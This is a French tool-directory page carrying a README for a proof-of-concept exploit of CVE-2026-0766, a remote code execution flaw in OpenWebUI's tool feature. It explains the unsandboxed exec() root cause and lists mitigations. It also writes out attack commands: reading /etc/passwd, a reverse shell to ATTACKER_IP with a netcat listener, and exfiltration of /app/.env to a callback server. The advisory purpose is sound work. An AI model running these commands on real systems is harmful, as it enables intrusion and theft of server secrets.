Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-0766 — Preuve de concept d'exploitation pour CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI via l'injection de code d'outil. Inclut des modes d'exécution de commandes, de lecture de fichiers, de shell inversé et d'exfiltration aveugle. | Kitploit
Outils/GitHubGitHub/bitt0n/cve-2026-0766
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et Éducation
GitHubbitt0n/cve-2026-0766

CVE-2026-0766

Preuve de concept d'exploitation pour CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI via l'injection de code d'outil. Inclut des modes d'exécution de commandes, de lecture de fichiers, de shell inversé et d'exfiltration aveugle.

Voir le dépôt
13il y a 6 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-0766 : Exécution de code à distance dans OpenWebUI

Dépôt de recherche en sécurité à but éducatif

Ce dépôt contient un code de preuve de concept (PoC) pour l'exploitation de CVE-2026-0766, une vulnérabilité d'exécution de code à distance dans OpenWebUI, découverte et publiée par la Zero Day Initiative (ZDI).


⚠️ Avertissement

Ce dépôt est destiné uniquement aux tests de sécurité autorisés et à des fins éducatives.

  • Utilisez ce code pour tester vos propres systèmes ou des systèmes pour lesquels vous disposez d'une autorisation explicite
  • Utilisez-le pour apprendre les vulnérabilités de sécurité des plateformes LLM
  • ❌ Ne jamais l'utiliser contre des systèmes sans autorisation explicite
  • ❌ L'accès non autorisé à des systèmes informatiques est illégal

L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code. Les utilisateurs sont seuls responsables de veiller à ce que leurs activités soient conformes à toutes les lois et réglementations applicables.


📋 Présentation de la vulnérabilité

PropriétéValeur
Identifiant CVECVE-2026-0766
Découverte parZero Day Initiative (ZDI)
Logiciel concernéOpenWebUI
Type de vulnérabilitéInjection de code (CWE-94)
Score CVSS8.8 ÉLEVÉ
Vecteur CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Complexité d'attaqueFaible (un administrateur authentifié ou un utilisateur disposant de la création/mise à jour d'outils peut exploiter)

Qu'est-ce qu'OpenWebUI ?

OpenWebUI est une interface web auto-hébergée pour les grands modèles de langage (LLM). Elle offre une expérience de type ChatGPT que les organisations peuvent exécuter sur leur propre infrastructure, en conservant les conversations et les données des LLM sur site.

La vulnérabilité

OpenWebUI inclut une fonctionnalité « Outils » (Tools) qui permet aux utilisateurs d'étendre les capacités des LLM en soumettant du code Python. Ce code est exécuté côté serveur via la fonction exec() de Python sans aucun sandbox, validation ou contrôle de sécurité.

Déroulement de l'exploitation :

  1. Un utilisateur authentifié crée un « Outil » via POST /api/v1/tools/create
  2. Le code Python fourni par l'utilisateur est stocké dans le champ content
  3. Le serveur appelle exec(content, module.__dict__) dans utils/plugin.py
  4. Le code Python arbitraire s'exécute avec tous les privilèges du serveur
  5. L'attaquant obtient une exécution de code à distance (RCE)

Point clé : Le code s'exécute au moment de la création de l'outil, et non lorsque le LLM invoque l'outil. Cela signifie que la simple création d'un outil malveillant déclenche la RCE — aucune interaction supplémentaire n'est nécessaire.

Versions testées

Cette exploitation a été vérifiée sur :

  • OpenWebUI v0.8.10 - Vulnérable ✅ (testé le 28/03/2026)

La vulnérabilité est d'ordre architectural (utilisation non sécurisée de exec() sur une entrée utilisateur) et existe dans toutes les versions jusqu'à ce qu'un correctif de sécurité soit publié par l'équipe OpenWebUI.


🔍 Détails techniques

Cause racine

La vulnérabilité se trouve dans backend/open_webui/utils/plugin.py :

def load_tool_module_by_id(tool_id: str, content: str):
    # Prétraitement minimal (PAS un contrôle de sécurité)
    content = replace_imports(content)

    # Créer le module et exécuter le code utilisateur
    module = types.ModuleType(f"tool_{tool_id}")
    exec(content, module.__dict__)  # ← VULNÉRABILITÉ

    return module

La fonction replace_imports() ne fait que réécrire les chemins d'importation (cosmétique) — elle ne restreint pas le code pouvant s'exécuter. Il n'y a :

  • ❌ Aucun sandbox (aucun environnement d'exécution restreint)
  • ❌ Aucune validation de code (aucune inspection AST ni liste blanche)
  • ❌ Aucune vérification des permissions (tous les utilisateurs authentifiés peuvent créer des outils par défaut)
  • ❌ Aucune séparation des privilèges (le code s'exécute avec le compte de service OpenWebUI)

Réponse du fournisseur

L'équipe OpenWebUI a initialement évalué cette vulnérabilité comme étant de priorité faible, notant que la création d'outils nécessite des permissions d'administrateur. Cependant :

  1. La délégation de permissions est courante — De nombreux déploiements accordent la création d'outils aux utilisateurs avancés, aux administrateurs d'espace de travail et aux développeurs
  2. Comptes administrateur compromis — Le hameçonnage, le bourrage d'identifiants et la compromission SSO peuvent donner aux attaquants un accès administrateur
  3. Violation de la défense en profondeur — Même les actions d'administrateur devraient être limitées ; l'exécution de code sans restriction brise le principe du moindre privilège
  4. Utilité après compromission — Cette vulnérabilité est précieuse dans les chaînes d'attaque après un accès initial

Après que le fournisseur a proposé que les administrateurs gèrent cela avec un accès restreint, la ZDI a publié cette vulnérabilité en tant que 0-day (ZDI-26-032) pour informer les défenseurs.

L'auteur respecte les défis liés à la maintenance de projets open-source. Le correctif de sécurité nécessite d'équilibrer les besoins des utilisateurs, les contraintes architecturales et les ressources limitées. Cette publication vise à aider les équipes de sécurité à évaluer les risques et à mettre en œuvre des mesures d'atténuation.


🛠️ Preuve de concept

Installation

git clone https://github.com/bitt0n/CVE-2026-0766.git
cd CVE-2026-0766
pip install requests urllib3

Utilisation

Le script d'exploitation (exploit.py) prend en charge plusieurs modes d'attaque :

1. Exécution de commandes

Exécuter des commandes système et récupérer la sortie :

python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --cmd "id"

2. Lecture de fichiers

Lire des fichiers du système de fichiers du serveur :

python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --read /etc/passwd

3. Shell inversé

Lancer un shell inversé (nécessite un écouteur netcat) :

# Sur la machine de l'attaquant :
nc -lvnp 4444

# Exécuter l'exploit :
python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --revshell ATTACKER_IP:4444

4. Exfiltration aveugle

Envoyer la sortie de commande à un serveur de rappel HTTP :

python3 exploit.py --url http://target:3000 --token YOUR_TOKEN --callback http://your-server:8080 --cmd "cat /app/.env"

Authentification

Le script accepte à la fois les jetons JWT (issus de la connexion SSO) et les clés API :

Obtenir un jeton JWT :

  1. Connectez-vous normalement à OpenWebUI (SSO ou authentification locale)
  2. Ouvrez les outils de développement du navigateur (F12)
  3. Trouvez votre jeton :
    • Onglet Cookies : Recherchez la valeur du cookie token
    • Onglet Réseau : Copiez l'en-tête Authorization: Bearer ... de toute requête API
    • Console : Exécutez localStorage.getItem("token")
  4. Transmettez le jeton au script : --token eyJhbGci...

🔐 Mesures d'atténuation

Pour les défenseurs

Si vous exécutez OpenWebUI et ne pouvez pas appliquer immédiatement un correctif :

  1. Restreignez les permissions de création d'outils aux seuls administrateurs hautement fiables
  2. Auditez les outils existants pour détecter tout code malveillant (vérifiez le contenu des outils dans la base de données)
  3. Exécutez OpenWebUI avec des privilèges minimaux (compte de service dédié, système de fichiers en lecture seule si possible)
  4. Mettez en œuvre un filtrage du trafic réseau sortant (le conteneur ne doit pas avoir d'accès sortant arbitraire)
  5. Surveillez la création d'outils suspects (recherchez les outils créés en dehors des flux de travail normaux)
Télécharger l’outil